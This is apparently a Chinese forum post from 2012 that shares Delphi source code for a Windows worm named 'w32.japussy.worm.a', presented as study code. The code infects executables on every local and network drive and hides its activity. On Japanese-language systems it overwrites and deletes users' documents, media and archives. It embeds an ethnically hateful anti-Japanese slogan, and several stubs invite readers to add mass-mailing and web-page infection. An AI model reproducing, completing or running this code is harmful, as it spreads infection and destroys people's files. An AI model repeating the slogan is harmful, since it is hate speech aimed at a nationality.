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随便分享部分学习代码
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread Or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) And (buf[1] = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) Or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected Or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread Or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) Or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) And (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) And (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') Or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') Or (ext = '.html') Or (ext = '.asp') then
begin
//感染html和asp文件，将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') Or (ext = '.xls') Or (ext = '.mdb') or
(ext = '.mp3') Or (ext = '.rm') Or (ext = '.ra') or
(ext = '.wma') Or (ext = '.zip') Or (ext = '.rar') or
(ext = '.mpeg') Or (ext = '.asf') Or (ext = '.jpg') or
(ext = '.jpeg') Or (ext = '.gif') Or (ext = '.swf') or
(ext = '.pdf') Or (ext = '.chm') Or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件 |
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发表于 2012-5-10 17:02
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